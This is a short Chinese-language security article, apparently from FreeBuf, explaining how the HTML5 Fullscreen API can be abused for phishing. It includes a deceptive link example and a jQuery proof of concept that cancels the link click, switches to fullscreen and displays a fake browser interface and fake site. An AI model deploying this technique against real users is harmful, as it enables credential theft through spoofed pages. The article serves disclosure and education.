HTML5里面新增了一个JavaScript API——Fullscreen,可以让 HTML 元素可以实现全屏显示。很多站点上已经使用了该API,比如youku、tudou、YouTube、Facebook等
但是带来便捷的同时,也带来了更多的安全风险,日前,老外研究发现利用该API可以成功进行钓鱼攻击。
攻击原理:
建立用户信任的网站链接:
访问<a href="https://www.www.freebuf.com.com">freebuf.com</a>关注黑客与极客
用户鼠标悬停在该url时,状态栏将会显示https://www.freebuf.com,然而,当用户点击链接的时候,调用event.preventDefault()方法来阻止点击到实际链接的页面,相反,会触发全屏模式,并将仿造的页面插入到当前页面。
$('html').on('click keypress', 'a', function(event) {
// Prevent navigation to legit link
event.preventDefault();
event.stopPropagation();
// Trigger fullscreen
if (elementPrototype.requestFullscreen) {
document.documentElement.requestFullscreen();
} else if (elementPrototype.webkitRequestFullScreen) {
document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
} else if (elementPrototype.mozRequestFullScreen) {
document.documentElement.mozRequestFullScreen();
} else {
// fail silently
}
// Show fake OS and browser UI
$('#menu, #browser').show();
// Show fake target site
$('#target-site').show();
});
preventDefault()方法解释:
防止链接打开 URL:
$("a").click(function(event){
event.preventDefault();
});
定义和用法
preventDefault() 方法阻止元素发生默认的行为(例如,当点击提交按钮时阻止对表单的提交)。